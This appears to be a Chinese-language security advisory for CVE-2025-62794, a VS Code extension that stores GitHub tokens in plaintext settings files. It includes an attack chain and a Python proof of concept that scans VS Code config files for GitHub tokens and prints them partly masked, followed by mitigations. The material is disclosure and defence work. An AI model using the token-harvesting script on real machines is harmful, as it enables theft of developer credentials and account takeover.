IPBUF安全漏洞报告
English
CVE-2025-62794 CVSS 3.8 低危

CVE-2025-62794 GitHub Workflow Updater扩展Token明文存储漏洞

披露日期: 2025-10-28

漏洞信息

漏洞编号
CVE-2025-62794
漏洞类型
敏感信息泄露
CVSS评分
3.8 低危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitHub Workflow Updater (VS Code Extension)

相关标签

敏感信息泄露不安全存储凭证泄露VS Code扩展GitHub本地攻击配置文件securestorage

漏洞概述

GitHub Workflow Updater是一款VS Code扩展,用于自动将GitHub Actions固定到特定提交以增强安全性。该扩展在0.0.7版本之前存在严重的安全漏洞:任何提供的GitHub token都会以明文形式存储在磁盘上的编辑器配置文件(JSON文件)中,而不是使用VS Code提供的更安全的securestorage API进行存储。这意味着具有对用户主目录只读访问权限的攻击者可以直接读取存储的token,并利用该token代表用户执行GitHub操作,包括访问私有仓库、推送代码等。由于CVSS评分为3.8(低危),攻击复杂度较高(需要本地访问),但仍然构成了真实的安全风险,建议用户立即更新到0.0.7或更高版本。

技术细节

该漏洞的根本原因在于GitHub Workflow Updater扩展在实现token存储功能时,选择了直接写入文件系统的方式而非使用VS Code的securestorage API。具体来说,扩展将用户提供的GitHub Personal Access Token或其他认证凭证以明文形式写入VS Code的配置文件目录(通常位于~/.vscode或类似位置)中的JSON文件。攻击者如果获得了对用户主目录的读取权限(可通过恶意软件、共享文件系统或备份泄露等途径),即可直接提取这些凭证。一旦攻击者获取了token,可以:1) 访问用户的GitHub账户和私有仓库;2) 以用户身份推送恶意代码到受信任仓库;3) 窃取敏感项目信息;4) 在CI/CD流程中注入恶意步骤。修复版本(0.0.7)已改用securestorage API,该API使用操作系统的密钥链或凭据管理器来安全存储敏感信息。

攻击链分析

STEP 1
步骤1
攻击者获得用户主目录的读取权限(通过恶意软件、钓鱼、共享文件系统、备份泄露或横向移动等方式)
STEP 2
步骤2
攻击者定位VS Code配置文件(通常位于~/.config/Code/User/或~/.vscode/目录)
STEP 3
步骤3
攻击者读取settings.json文件,发现github-workflow-updater扩展存储的明文GitHub token
STEP 4
步骤4
攻击者使用窃取的token调用GitHub API,以受害者身份执行操作如访问私有仓库、推送代码等
STEP 5
步骤5
攻击者可进一步在CI/CD流程中植入恶意代码,实现持久化和横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-62794 PoC - GitHub Workflow Updater Token Exposure # This PoC demonstrates how an attacker with read access to the home directory # can extract plaintext GitHub tokens stored by the vulnerable extension import os import json import glob def find_vscode_config(): """Search for VS Code configuration files""" home = os.path.expanduser("~") config_paths = [ os.path.join(home, ".config", "Code", "User", "settings.json"), os.path.join(home, ".vscode", "settings.json"), os.path.join(home, "AppData", "Roaming", "Code", "User", "settings.json"), ] # Also search for any extension settings for path in glob.glob(os.path.join(home, ".vscode", "**", "*.json"), recursive=True): config_paths.append(path) return config_paths def extract_tokens(config_file): """Extract potential GitHub tokens from config file""" tokens = [] try: with open(config_file, 'r') as f: data = json.load(f) # Search for common GitHub token field names token_fields = ['github-token', 'github.token', 'gh-token', 'githubWorkflowUpdater.token', 'accessToken'] for field in token_fields: if field in data and isinstance(data[field], str): if data[field].startswith('ghp_') or data[field].startswith('github_pat_'): tokens.append({ 'field': field, 'token': data[field], 'source': config_file }) except (json.JSONDecodeError, FileNotFoundError, PermissionError): pass return tokens def main(): print("CVE-2025-62794 - GitHub Workflow Updater Token Extraction PoC") print("=" * 60) config_paths = find_vscode_config() all_tokens = [] for config_path in config_paths: tokens = extract_tokens(config_path) all_tokens.extend(tokens) if all_tokens: print(f"[!] Found {len(all_tokens)} potential GitHub tokens:") for i, token_info in enumerate(all_tokens, 1): print(f"\nToken {i}:") print(f" Field: {token_info['field']}") print(f" Token: {token_info['token'][:10]}...{token_info['token'][-4:]}") print(f" Source: {token_info['source']}") else: print("[-] No exposed tokens found in typical locations") print("\n[!] Note: Update to GitHub Workflow Updater 0.0.7+ to fix this vulnerability") if __name__ == "__main__": main()

影响范围

GitHub Workflow Updater VS Code Extension < 0.0.7

防御指南

临时缓解措施
在等待官方修复期间,用户可以采取以下临时缓解措施:1) 立即删除或撤销存储在VS Code配置中的GitHub token;2) 限制对主目录的访问权限,确保只有受信任的用户和进程可以读取配置文件;3) 使用GitHub的细粒度Personal Access Token并设置合理的过期时间和权限范围;4) 考虑使用SSH密钥而非token进行Git操作;5) 在多用户系统上避免使用此扩展或确保每个用户有独立的隔离环境。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表